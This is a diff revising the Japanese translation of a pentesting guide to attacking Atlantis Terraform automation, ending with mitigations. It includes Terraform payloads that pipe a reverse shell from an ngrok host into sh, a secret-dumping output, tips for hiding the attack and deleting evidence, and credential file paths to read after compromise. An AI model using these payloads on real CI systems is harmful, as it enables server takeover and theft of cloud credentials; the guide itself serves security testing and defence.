+\[Connectionsの削除、Connectionsの読み取り、Connectionsの編集、Connectionsの作成、DAGsの読み取り、DAGsの編集、DAGsの削除、DAG Runsの読み取り、Task Instancesの読み取り、Task Instancesの編集、DAG Runsの削除、DAG Runsの作成、DAG Runsの編集、Audit Logsの読み取り、ImportErrorの読み取り、Poolsの削除、Poolsの読み取り、Poolsの編集、Poolsの作成、Providersの読み取り、Variablesの削除、Variablesの読み取り、Variablesの編集、Variablesの作成、XComsの読み取り、DAG Codeの読み取り、Configurationsの読み取り、Pluginsの読み取り、DAG Dependenciesの読み取り、Jobsの読み取り、My Passwordの読み取り、My Passwordの編集、My Profileの読み取り、My Profileの編集、SLA Missesの読み取り、Task Logsの読み取り、Websiteの読み取り、Browseのメニューアクセス、DAG Dependenciesのメニューアクセス、DAG Runsのメニューアクセス、Documentationのメニューアクセス、Docsのメニューアクセス、Jobsのメニューアクセス、Audit Logsのメニューアクセス、Pluginsのメニューアクセス、SLA Missesのメニューアクセス、Task Instancesのメニューアクセス、Task Instancesの作成、Task Instancesの削除、Adminのメニューアクセス、Configurationsのメニューアクセス、Connectionsのメニューアクセス、Poolsのメニューアクセス、Variablesのメニューアクセス、XComsのメニューアクセス、XComsの削除]
 
 - **User**
 
-\[DAGsで読み取り、DAGsで編集、DAGsで削除、DAG Runsで読み取り、Task Instancesで読み取り、Task Instancesで編集、DAG Runsで削除、DAG Runsで作成、DAG Runsで編集、Audit Logsで読み取り、ImportErrorで読み取り、XComsで読み取り、DAG Codeで読み取り、Pluginsで読み取り、DAG Dependenciesで読み取り、Jobsで読み取り、My Passwordで読み取り、My Passwordで編集、My Profileで読み取り、My Profileで編集、SLA Missesで読み取り、Task Logsで読み取り、Websiteで読み取り、Browseへのメニューアクセス、DAG Dependenciesへのメニューアクセス、DAG Runsへのメニューアクセス、Documentationへのメニューアクセス、Docsへのメニューアクセス、Jobsへのメニューアクセス、Audit Logsへのメニューアクセス、Pluginsへのメニューアクセス、SLA Missesへのメニューアクセス、Task Instancesへのメニューアクセス、Task Instancesで作成、Task Instancesで削除]
+\[DAGsの読み取り、DAGsの編集、DAGsの削除、DAG Runsの読み取り、Task Instancesの読み取り、Task Instancesの編集、DAG Runsの削除、DAG Runsの作成、DAG Runsの編集、Audit Logsの読み取り、ImportErrorの読み取り、XComsの読み取り、DAG Codeの読み取り、Pluginsの読み取り、DAG Dependenciesの読み取り、Jobsの読み取り、My Passwordの読み取り、My Passwordの編集、My Profileの読み取り、My Profileの編集、SLA Missesの読み取り、Task Logsの読み取り、Websiteの読み取り、Browseのメニューアクセス、DAG Dependenciesのメニューアクセス、DAG Runsのメニューアクセス、Documentationのメニューアクセス、Docsのメニューアクセス、Jobsのメニューアクセス、Audit Logsのメニューアクセス、Pluginsのメニューアクセス、SLA Missesのメニューアクセス、Task Instancesのメニューアクセス、Task Instancesの作成、Task Instancesの削除]
 
 - **Viewer**
 
-\[DAGsで読み取り、DAG Runsで読み取り、Task Instancesで読み取り、Audit Logsで読み取り、ImportErrorで読み取り、XComsで読み取り、DAG Codeで読み取り、Pluginsで読み取り、DAG Dependenciesで読み取り、Jobsで読み取り、My Passwordで読み取り、My Passwordで編集、My Profileで読み取り、My Profileで編集、SLA Missesで読み取り、Task Logsで読み取り、Websiteで読み取り、Browseへのメニューアクセス、DAG Dependenciesへのメニューアクセス、DAG Runsへのメニューアクセス、Documentationへのメニューアクセス、Docsへのメニューアクセス、Jobsへのメニューアクセス、Audit Logsへのメニューアクセス、Pluginsへのメニューアクセス、SLA Missesへのメニューアクセス、Task Instancesへのメニューアクセス]
+\[DAGsの読み取り、DAG Runsの読み取り、Task Instancesの読み取り、Audit Logsの読み取り、ImportErrorの読み取り、XComsの読み取り、DAG Codeの読み取り、Pluginsの読み取り、DAG Dependenciesの読み取り、Jobsの読み取り、My Passwordの読み取り、My Passwordの編集、My Profileの読み取り、My Profileの編集、SLA Missesの読み取り、Task Logsの読み取り、Websiteの読み取り、Browseのメニューアクセス、DAG Dependenciesのメニューアクセス、DAG Runsのメニューアクセス、Documentationのメニューアクセス、Docsのメニューアクセス、Jobsのメニューアクセス、Audit Logsのメニューアクセス、Pluginsのメニューアクセス、SLA Missesのメニューアクセス、Task Instancesのメニューアクセス]
 
 - **Public**
 

src/pentesting-ci-cd/atlantis-security.md

@@ -11,7 +11,7 @@ Atlantisは基本的に、あなたのgitサーバーからのプルリクエス
 ### ローカルラボ
 
 1. [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases)の**atlantisリリースページ**に行き、あなたに合ったものを**ダウンロード**します。
-2. **github**ユーザーの**個人トークン**（リポジトリアクセス付き）を作成します。
+2. **github**ユーザーの**パーソナルトークン**（リポジトリアクセス付き）を作成します。
 3. `./atlantis testdrive`を実行すると、**atlantisと対話するために使用できるデモリポジトリ**が作成されます。
 1. 127.0.0.1:4141でウェブページにアクセスできます。
 
@@ -21,14 +21,14 @@ Atlantisは基本的に、あなたのgitサーバーからのプルリクエス
 
 **Atlantis**は**Github**、**Gitlab**、**Bitbucket**、**Azure DevOps**などの複数のgitホストをサポートしています。\
 ただし、これらのプラットフォームのリポジトリにアクセスし、アクションを実行するには、いくつかの**特権アクセスが付与される必要があります**（少なくとも書き込み権限）。\
-[**ドキュメント**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional)では、Atlantis専用にこれらのプラットフォームにユーザーを作成することを推奨していますが、個人アカウントを使用する人もいるかもしれません。
+[**ドキュメント**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional)では、Atlantis専用のユーザーをこれらのプラットフォームで作成することを推奨していますが、一部の人は個人アカウントを使用するかもしれません。
 
 > [!WARNING]
 > いずれにせよ、攻撃者の視点から見ると、**Atlantisアカウント**は非常に**興味深い****攻撃対象**となるでしょう。
 
 #### Webhook
 
-Atlantisはオプションで[**Webhookシークレット**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret)を使用して、あなたのGitホストから受信する**webhook**が**正当であることを検証**します。
+Atlantisはオプションで[**Webhookシークレット**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret)を使用して、Gitホストから受信する**webhook**が**正当である**ことを検証します。
 
 これを確認する方法の一つは、**GitホストのIPからのみリクエストを許可する**ことですが、より簡単な方法はWebhookシークレットを使用することです。
 
@@ -41,33 +41,33 @@ Atlantisはオプションで[**Webhookシークレット**](https://www.runatla
 
 [ドキュメントから:](https://www.runatlantis.io/docs/provider-credentials.html)
 
-Atlantisは、サーバー**Atlantisがホストされている**上で単に`terraform plan`と`apply`コマンドを**実行することによってTerraformを実行します**。ローカルでTerraformを実行するのと同様に、Atlantisは特定のプロバイダーの資格情報が必要です。
+Atlantisは、サーバー**Atlantisがホストされている**上で`terraform plan`および`apply`コマンドを単純に**実行することによってTerraformを実行します**。ローカルでTerraformを実行するのと同様に、Atlantisは特定のプロバイダーの資格情報が必要です。
 
-あなたがどのように[資格情報を提供するか](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info)はあなた次第です：
+Atlantisに特定のプロバイダーの資格情報を[提供する方法](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info)はあなた次第です：
 
-- Atlantisの[Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart)と[AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate)には、プロバイダー資格情報のための独自のメカニズムがあります。彼らのドキュメントを読んでください。
-- クラウドでAtlantisを実行している場合、多くのクラウドには、そこに実行されているアプリケーションにクラウドAPIアクセスを提供する方法があります。例：
-- [AWS EC2ロール](https://registry.terraform.io/providers/hashicorp/aws/latest/docs)（"EC2 Role"を検索）
+- Atlantisの[Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart)と[AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate)には、プロバイダー資格情報のための独自のメカニズムがあります。ドキュメントを読んでください。
+- クラウドでAtlantisを実行している場合、多くのクラウドには、実行中のアプリケーションにクラウドAPIアクセスを提供する方法があります。例：
+- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs)（"EC2 Role"を検索）
 - [GCEインスタンスサービスアカウント](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
 - 多くのユーザーは、Atlantisが実行されている場所で環境変数を設定します。例：`AWS_ACCESS_KEY`
 - 他のユーザーは、Atlantisが実行されている場所で必要な設定ファイルを作成します。例：`~/.aws/credentials`
 - [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs)を使用してプロバイダー資格情報を取得します。
 
 > [!WARNING]
-> **Atlantisが**実行されている**コンテナ**には、AtlantisがTerraformを介して管理しているプロバイダー（AWS、GCP、Github...）の**特権資格情報**が含まれている可能性が非常に高いです。
+> **Atlantisが**実行されている**コンテナ**には、AtlantisがTerraformを介して管理しているプロバイダー（AWS、GCP、Githubなど）への**特権資格情報**が含まれている可能性が非常に高いです。
 
 #### ウェブページ
 
-デフォルトでは、Atlantisは**localhostのポート4141でウェブページを実行します**。このページは、atlantis applyを有効/無効にし、リポジトリのプランステータスを確認し、ロックを解除することを許可します（変更を加えることはできないため、それほど便利ではありません）。
+デフォルトでは、Atlantisは**localhostのポート4141でウェブページを実行します**。このページでは、atlantis applyを有効/無効にし、リポジトリのプランステータスを確認し、ロックを解除することができます（変更を加えることはできないため、それほど便利ではありません）。
 
 インターネットに公開されていることはないと思いますが、デフォルトでは**アクセスするために資格情報は必要ないようです**（必要な場合は`atlantis`:`atlantis`が**デフォルト**のものです）。
 
-### サーバー設定
+### サーバー構成
 
-`atlantis server`の設定は、コマンドラインフラグ、環境変数、設定ファイル、またはその3つの混合を介して指定できます。
+`atlantis server`の構成は、コマンドラインフラグ、環境変数、設定ファイル、またはその3つの組み合わせを介して指定できます。
 
-- Atlantisサーバーがサポートする[**フラグのリスト**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration)は[こちら](https://www.runatlantis.io/docs/server-configuration.html#server-configuration)で確認できます。
-- 設定オプションを環境変数に変換する方法は[こちら](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)で確認できます。
+- Atlantisサーバーがサポートする[**フラグのリスト**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration)をここで見つけることができます。
+- [**環境変数に設定オプションを変換する方法**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)をここで見つけることができます。
 
 値は**この順序で選択されます**：
 
@@ -76,37 +76,37 @@ Atlantisは、サーバー**Atlantisがホストされている**上で単に`te
 3. 設定ファイル
 
 > [!WARNING]
-> 設定の中には、**トークンやパスワード**などの興味深い値が含まれている可能性があることに注意してください。
+> 構成の中には、**トークンやパスワード**などの興味深い値が含まれている可能性があることに注意してください。
 
-#### リポジトリ設定
+#### リポジトリ構成
 
-いくつかの設定は**リポジトリの管理方法に影響します**。ただし、**各リポジトリが異なる設定を必要とする可能性があるため**、各リポジトリを指定する方法があります。これが優先順位です：
+いくつかの構成は**リポジトリの管理方法に影響を与えます**。ただし、**各リポジトリが異なる設定を必要とする可能性があるため**、各リポジトリを指定する方法があります。これが優先順位です：
 
-1. リポジトリ[**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config)ファイル。このファイルは、atlantisがリポジトリをどのように扱うべきかを指定するために使用できます。ただし、デフォルトでは、いくつかのキーはここで指定できず、フラグを使用して許可する必要があります。
+1. リポジトリ[**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config)ファイル。このファイルは、atlantisがリポジトリをどのように扱うべきかを指定するために使用できます。ただし、デフォルトでは、いくつかのキーはフラグなしではここに指定できません。
 1. おそらく`allowed_overrides`や`allow_custom_workflows`のようなフラグによって許可される必要があります。
-2. [**サーバーサイド設定**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config)：`--repo-config`フラグで渡すことができ、各リポジトリの新しい設定を構成するyamlです（正規表現がサポートされています）。
+2. [**サーバーサイド構成**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config)：フラグ`--repo-config`で渡すことができ、各リポジトリの新しい設定を構成するyamlです（正規表現がサポートされています）。
 3. **デフォルト**の値
 
 **PR保護**
 
-Atlantisは、**PR**が他の誰かによって**`承認`**されることを望むかどうか（ブランチ保護に設定されていなくても）や、**`マージ可能`**（ブランチ保護が通過した）であることを**applyを実行する前に**示すことを許可します。セキュリティの観点から、両方のオプションを設定することが推奨されます。
+Atlantisは、**PR**が他の誰かによって**`承認`**されることを望むかどうか（ブランチ保護に設定されていなくても）および/または**`マージ可能`**（ブランチ保護が通過した）であることを示すことを許可します**applyを実行する前に**。セキュリティの観点から、両方のオプションを設定することが推奨されます。
 
-`allowed_overrides`がTrueの場合、これらの設定は**各プロジェクトの`/atlantis.yml`ファイルで上書き可能**です。
+`allowed_overrides`がTrueの場合、これらの設定は**各プロジェクトの`/atlantis.yml`ファイルで上書きできます**。
 
 **スクリプト**
 
-リポジトリ設定は、**ワークフローが実行される前に**[**実行するスクリプト**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage)（_プレワークフローフック_）と、**ワークフローが実行された後に**[**実行するスクリプト**](https://www.runatlantis.io/docs/post-workflow-hooks.html)（_ポストワークフローフック_）を**指定できます**。
+リポジトリ構成は、**ワークフローが実行される前に**[**実行するスクリプト**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage)（_プレワークフローフック_）と[**実行した後に**](https://www.runatlantis.io/docs/post-workflow-hooks.html)（_ポストワークフローフック_）を指定できます。
 
 リポジトリの`/atlantis.yml`ファイルでこれらのスクリプトを**指定する**オプションはありません。
 
 **ワークフロー**
 
-リポジトリ設定（サーバーサイド設定）では、[**新しいデフォルトワークフローを指定**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow)したり、[**新しいカスタムワークフローを作成**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**したりできます**。また、**新しく生成された**ワークフローに**アクセスできるリポジトリ**を**指定**することもできます。\
-その後、各リポジトリの**atlantis.yaml**ファイルで**使用するワークフローを指定**できます。
+リポジトリ構成（サーバーサイド構成）では、[**新しいデフォルトワークフローを指定**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow)したり、[**新しいカスタムワークフローを作成**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**することができます。**また、**どのリポジトリ**が生成された**新しい**ものにアクセスできるかを**指定することもできます。\
+その後、各リポジトリの**atlantis.yaml**ファイルが**使用するワークフローを指定する**ことを許可できます。
 
 > [!CAUTION]
-> [**サーバーサイド設定**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config)フラグ`allow_custom_workflows`が**True**に設定されている場合、各リポジトリの**`atlantis.yaml`**ファイルでワークフローを**指定**できます。また、**`allowed_overrides`**が**`workflow`**を指定して、使用されるワークフローを**上書きする**必要がある可能性もあります。\
-> これは基本的に、**そのリポジトリにアクセスできるユーザーにAtlantisサーバーでのRCEを与える**ことになります。
+> [**サーバーサイド構成**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config)フラグ`allow_custom_workflows`が**True**に設定されている場合、ワークフローは各リポジトリの**`atlantis.yaml`**ファイルで**指定できます**。また、**`allowed_overrides`**が**`workflow`**を指定して、使用されるワークフローを**上書きする**必要がある可能性もあります。\
+> これは基本的に、**そのリポジトリにアクセスできる任意のユーザーにAtlantisサーバーでのRCEを与える**ことになります。
 >
 > ```yaml
 > # atlantis.yaml
@@ -137,7 +137,7 @@ Atlantisは、**サーバーサイド**で[**conftest**](https://www.conftest.de
 
 ### Atlantisコマンド
 
-[**ドキュメント**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis)では、Atlantisを実行するために使用できるオプションを見つけることができます：
+[**ドキュメント**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis)には、Atlantisを実行するために使用できるオプションが記載されています：
 ```bash
 # Get help
 atlantis help
@@ -174,7 +174,7 @@ atlantis plan -- -lock=false
 
 リポジトリに書き込みアクセスがある場合、新しいブランチを作成し、PRを生成することができます。**`atlantis plan`を実行できる場合**（または自動的に実行されるかもしれません）、**Atlantisサーバー内でRCEを実行できるようになります**。
 
-これは、[**Atlantisに外部データソースを読み込ませる**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source)ことで実行できます。次のようなペイロードを`main.tf`ファイルに入れるだけです：
+これは、[**Atlantisに外部データソースを読み込ませる**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source)ことで実現できます。次のようなペイロードを`main.tf`ファイルに入れるだけです：
 ```json
 data "external" "example" {
 program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
@@ -182,7 +182,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"
 ```
 **ステルス攻撃**
 
-この攻撃を**よりステルス的に**実行するには、以下の提案に従ってください：
+この攻撃を**よりステルス的に**実行するには、次の提案に従ってください：
 
 - rev shellをterraformファイルに直接追加する代わりに、rev shellを含む**外部リソースを読み込む**ことができます：
 ```javascript
@@ -190,14 +190,14 @@ module "not_rev_shell" {
 source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
 }
 ```
-You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
+[https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) で rev shell コードを見つけることができます。
 
-- 外部リソースでは、**ref**機能を使用して、リポジトリ内の**ブランチにあるterraform rev shellコード**を隠します。例えば、`git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`のようにします。
-- **PRをmasterに作成する代わりに**、**2つのブランチ**（test1とtest2）を作成し、**一方からもう一方へのPRを作成します**。攻撃が完了したら、**PRとブランチを削除します**。
+- 外部リソースでは、**ref** 機能を使用して、リポジトリ内の **ブランチにある terraform rev shell コード** を隠します。例えば、`git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` のようにします。
+- **マスターへの PR を作成する代わりに**、**2つのブランチ**（test1 と test2）を作成し、**一方からもう一方への PR を作成します**。攻撃が完了したら、**PR とブランチを削除します**。
 
-#### Atlantis plan Secrets Dump
+#### Atlantis プラン シークレット ダンプ
 
-`atlantis plan`（`terraform plan`）を実行することで、**terraformによって使用されるシークレットをダンプ**できます。terraformファイルに次のようなものを入れます：
+`atlantis plan`（`terraform plan`）を実行することで、**terraform に使用されるシークレットをダンプ**できます。terraform ファイルにこのようなものを入れます：
 ```json
 output "dotoken" {
 value = nonsensitive(var.do_token)
@@ -205,16 +205,16 @@ value = nonsensitive(var.do_token)
 ```
 #### Atlantis apply RCE - 新しいPRでの設定変更
 
-リポジトリに書き込みアクセスがある場合、新しいブランチを作成し、PRを生成することができます。**`atlantis apply`を実行できる場合、Atlantisサーバー内でRCEを実行できるようになります**。
+リポジトリに書き込みアクセスがある場合、新しいブランチを作成し、PRを生成することができます。**`atlantis apply`を実行できる場合、Atlantisサーバー内でRCEが可能になります**。
 
 ただし、通常はいくつかの保護を回避する必要があります：
 
 - **マージ可能**: この保護がAtlantisに設定されている場合、**PRがマージ可能な場合にのみ`atlantis apply`を実行できます**（これはブランチ保護を回避する必要があることを意味します）。
 - 潜在的な[**ブランチ保護の回避**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)を確認してください。
-- **承認済み**: この保護がAtlantisに設定されている場合、`atlantis apply`を実行する前に**他のユーザーがPRを承認する必要があります**。
-- デフォルトでは、[**Gitbotトークンを悪用してこの保護を回避できます**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)。
+- **承認済み**: この保護がAtlantisに設定されている場合、**他のユーザーがPRを承認する必要があります**。その後、`atlantis apply`を実行できます。
+- デフォルトでは、[**Gitbotトークンを使用してこの保護を回避することができます**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)。
 
-悪意のあるTerraformファイルで**`terraform apply`を実行すること**は、[**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**を使用します。**\
+悪意のあるTerraformファイルで**`terraform apply`を実行することができます**[**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**。**\
 `main.tf`ファイルに以下のようなペイロードが含まれていることを確認する必要があります：
 ```json
 // Payload 1 to just steal a secret
@@ -231,7 +231,7 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
 }
 }
 ```
-**前の技術からの提案**に従って、この攻撃を**より隠密な方法**で実行します。
+前の技術からの**提案に従って**、この攻撃を**よりステルス的な方法**で実行します。
 
 #### Terraform パラメータインジェクション
 
@@ -243,7 +243,7 @@ atlantis plan -- -h #Get terraform plan help
 atlantis apply -- <terraform commands>
 atlantis apply -- -h #Get terraform apply help
 ```
-何かを渡すことができるのは、いくつかの保護を回避するのに役立つ可能性のあるenv変数です。terraform env varsを確認してください [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
+環境変数を渡すことができ、いくつかの保護を回避するのに役立つかもしれません。Terraformの環境変数については[https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)を確認してください。
 
 #### カスタムワークフロー
 
@@ -251,7 +251,7 @@ atlantis apply -- -h #Get terraform apply help
 この可能性は前のセクションで言及されました：
 
 > [!CAUTION]
-> [**サーバーサイド設定**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config)フラグ`allow_custom_workflows`が**True**に設定されている場合、ワークフローは各リポジトリの**`atlantis.yaml`**ファイルに**指定**できます。また、**`allowed_overrides`**が**ワークフロー**を**オーバーライドする**ために指定される必要がある可能性もあります。
+> [**サーバーサイド設定**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config)フラグ`allow_custom_workflows`が**True**に設定されている場合、各リポジトリの**`atlantis.yaml`**ファイルにワークフローを**指定**できます。また、**`allowed_overrides`**が**ワークフロー**を**オーバーライドする**ために指定される必要がある可能性もあります。
 >
 > これは基本的に**そのリポジトリにアクセスできる任意のユーザーにAtlantisサーバーでのRCEを与える**ことになります。
 >
@@ -272,99 +272,99 @@ atlantis apply -- -h #Get terraform apply help
 >         - run: my custom apply command
 > ```
 
-#### plan/apply保護の回避
+#### プラン/適用保護の回避
 
-[**サーバーサイド設定**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config)フラグ`allowed_overrides`が`apply_requirements`を設定している場合、リポジトリは**plan/apply保護を変更して回避する**ことが可能です。
+[**サーバーサイド設定**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config)フラグ`allowed_overrides`が`apply_requirements`を設定している場合、リポジトリが**プラン/適用保護を変更して回避する**ことが可能です。
 ```yaml
 repos:
 - id: /.*/
 apply_requirements: []
 ```
-#### PR Hijacking
+#### PR ハイジャック
 
-もし誰かがあなたの有効なプルリクエストに**`atlantis plan/apply`**というコメントを送信すると、望まないタイミングでterraformが実行されます。
+誰かがあなたの有効なプルリクエストに **`atlantis plan/apply`** コメントを送信すると、望まないときに terraform が実行されます。
 
-さらに、**新しいコミットがプッシュされたときに**すべてのPRを**再評価**するように**ブランチ保護**が設定されていない場合、誰かがterraform設定に**悪意のある設定**を書き込み（前のシナリオを確認）、`atlantis plan/apply`を実行してRCEを得ることができます。
+さらに、**新しいコミットがプッシュ**されたときに **再評価**を求めるように **ブランチ保護**が設定されていない場合、誰かが terraform 設定に **悪意のある設定**を書き込み（前のシナリオを確認）、`atlantis plan/apply` を実行して RCE を獲得する可能性があります。
 
-これがGithubブランチ保護の**設定**です：
+これが Github ブランチ保護の **設定**です：
 
 ![](<../images/image (216).png>)
 
-#### Webhook Secret
+#### Webhook シークレット
 
-もしあなたが使用されている**webhook secret**を**盗むことができた**場合、または**webhook secret**が使用されていない場合、あなたは**Atlantis webhook**を呼び出し、**atlantisコマンド**を直接実行することができます。
+もしあなたが使用されている **Webhook シークレットを盗むことに成功した場合**、または **Webhook シークレットが使用されていない場合**、あなたは **Atlantis Webhook** を呼び出し、**atlatis コマンド**を直接実行することができます。
 
 #### Bitbucket
 
-Bitbucket Cloudは**webhook secrets**を**サポートしていません**。これにより攻撃者が**Bitbucketからのリクエストを偽装**することが可能になります。BitbucketのIPのみを許可していることを確認してください。
+Bitbucket Cloud は **Webhook シークレットをサポートしていません**。これにより、攻撃者が **Bitbucket からのリクエストを偽装**することが可能になります。Bitbucket の IP のみを許可していることを確認してください。
 
-- これは、**攻撃者**が**Bitbucketから来ているように見える偽のリクエストをAtlantisに送信**できることを意味します。
-- `--repo-allowlist`を指定している場合、彼らはそのリポジトリに関連するリクエストのみを偽装できるため、最も大きな被害はあなた自身のリポジトリでのplan/applyになります。
-- これを防ぐために、[BitbucketのIPアドレス](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html)を許可リストに追加してください（Outbound IPv4 addressesを参照）。
+- これは、**攻撃者**が **Bitbucket から来ているように見える偽のリクエストを Atlantis に送信できることを意味します**。
+- `--repo-allowlist` を指定している場合、彼らはそのリポジトリに関連するリクエストのみを偽装できるため、最も大きな被害はあなた自身のリポジトリでの plan/apply になります。
+- これを防ぐために、[Bitbucket の IP アドレス](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html)を許可リストに追加してください（Outbound IPv4 addresses を参照）。
 
-### Post-Exploitation
+### ポストエクスプロイテーション
 
-もしサーバーにアクセスできた場合、または少なくともLFIを取得した場合、読むべき興味深いものがあります：
+サーバーへのアクセスを取得した場合、または少なくとも LFI を取得した場合、試して読むべき興味深いものがあります：
 
-- `/home/atlantis/.git-credentials` VCSアクセス資格情報を含む
-- `/atlantis-data/atlantis.db` より多くの情報を含むVCSアクセス資格情報
-- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Terraform状態ファイル
+- `/home/atlantis/.git-credentials` VCS アクセス資格情報を含む
+- `/atlantis-data/atlantis.db` より多くの情報を含む VCS アクセス資格情報を含む
+- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Terraform ステートファイル
 - 例: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
 - `/proc/1/environ` 環境変数
-- `/proc/[2-20]/cmdline` `atlantis server`のコマンドライン（機密データを含む可能性があります）
+- `/proc/[2-20]/cmdline` `atlantis server` のコマンドライン（機密データを含む可能性があります）
 
-### Mitigations
+### 緩和策
 
-#### Don't Use On Public Repos <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>
+#### 公開リポジトリでの使用は避ける <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>
 
-誰でも公共のプルリクエストにコメントできるため、すべてのセキュリティ対策が利用可能であっても、適切なセキュリティ設定の構成なしに公共のリポジトリでAtlantisを実行することは依然として危険です。
+誰でも公開プルリクエストにコメントできるため、すべてのセキュリティ緩和策が利用可能であっても、適切なセキュリティ設定の構成なしに公開リポジトリで Atlantis を実行することは依然として危険です。
 
-#### Don't Use `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
+#### `--allow-fork-prs` を使用しない <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
 
-公共のリポジトリで実行している場合（推奨されません、上記を参照）、`--allow-fork-prs`を設定すべきではありません（デフォルトはfalse）なぜなら、誰でも自分のフォークからあなたのリポジトリにプルリクエストを開くことができるからです。
+公開リポジトリで実行している場合（推奨されません、上記を参照）、`--allow-fork-prs` を設定すべきではありません（デフォルトは false）なぜなら、誰でも自分のフォークからあなたのリポジトリにプルリクエストを開くことができるからです。
 
 #### `--repo-allowlist` <a href="#repo-allowlist" id="repo-allowlist"></a>
 
-Atlantisは、`--repo-allowlist`フラグを介してwebhookを受け入れるリポジトリの許可リストを指定する必要があります。例えば：
+Atlantis は、`--repo-allowlist` フラグを介して Webhook を受け入れるリポジトリの許可リストを指定する必要があります。例えば：
 
 - 特定のリポジトリ: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
 - あなたの組織全体: `--repo-allowlist=github.com/runatlantis/*`
-- GitHub Enterpriseインストール内のすべてのリポジトリ: `--repo-allowlist=github.yourcompany.com/*`
-- すべてのリポジトリ: `--repo-allowlist=*`。保護されたネットワーク内にいるときに便利ですが、webhook secretを設定しないと危険です。
+- GitHub Enterprise インストール内のすべてのリポジトリ: `--repo-allowlist=github.yourcompany.com/*`
+- すべてのリポジトリ: `--repo-allowlist=*`。保護されたネットワーク内にいるときに便利ですが、Webhook シークレットも設定しないと危険です。
 
-このフラグは、あなたのAtlantisインストールがあなたが制御していないリポジトリで使用されないことを保証します。詳細については`atlantis server --help`を参照してください。
+このフラグは、あなたの Atlantis インストールがあなたが制御していないリポジトリで使用されていないことを保証します。詳細については `atlantis server --help` を参照してください。
 
-#### Protect Terraform Planning <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
+#### Terraform プランニングを保護する <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
 
